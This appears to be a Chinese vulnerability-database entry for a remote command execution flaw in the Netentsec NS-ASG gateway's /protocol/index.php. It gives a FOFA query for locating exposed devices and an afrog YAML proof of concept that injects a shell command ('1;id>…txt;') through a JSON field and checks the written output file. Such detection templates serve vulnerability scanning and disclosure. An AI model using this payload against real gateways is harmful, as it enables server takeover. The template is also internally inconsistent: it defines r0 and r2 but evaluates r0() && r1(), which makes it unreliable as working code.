netentsec-ns-asg-index-php-rce: 网康NS-ASG安全网关index.php远程命令执行漏洞

日期: 2025-09-01 | 影响软件: netentsec-ns-asg | POC: 已公开

漏洞描述

网康 NS-ASG安全网关 index.php文件存在远程命令执行漏洞，攻击者通过构造特殊的请求包可以获取服务器权限 fofa：title=="网康 NS-ASG 应用安全网关"

PoC代码[已公开]

id: netentsec-ns-asg-index-php-rce

info:
  name: 网康NS-ASG安全网关index.php远程命令执行漏洞
  author: avic123
  severity: critical
  verified: true
  description: |
    网康 NS-ASG安全网关 index.php文件存在远程命令执行漏洞，攻击者通过构造特殊的请求包可以获取服务器权限
    fofa：title=="网康 NS-ASG 应用安全网关"
  reference:
    - https://github.com/Threekiii/Vulnerability-Wiki/blob/master/docs-base/docs/iot/%E7%BD%91%E5%BA%B7-NS-ASG%E5%AE%89%E5%85%A8%E7%BD%91%E5%85%B3-index.php-%E8%BF%9C%E7%A8%8B%E5%91%BD%E4%BB%A4%E6%89%A7%E8%A1%8C%E6%BC%8F%E6%B4%9E.md
  tags: netentsec,rce
  created: 2025/03/18

set:
  randstr: randomLowercase(8)
rules:
  r0:
    request:
      method: POST
      path: /protocol/index.php
      body: |
        jsoncontent={"protocolType":"getsysdatetime","messagecontent":"1;id>{{randstr}}.txt;"}
    expression: >-
      response.status == 200
  r2:
    request:
      method: GET
      path: /protocol/{{randstr}}.txt
    expression: >-
      response.status == 200 && "((u|g)id|groups)=[0-9]{1,4}\\([a-z0-9]+\\)".bmatches(response.raw)
expression: r0() && r1()
来源: https://github.com/zan8in/afrog/blob/main/pocs/afrog-pocs/vulnerability/netentsec-ns-asg-index-php-rce.yaml

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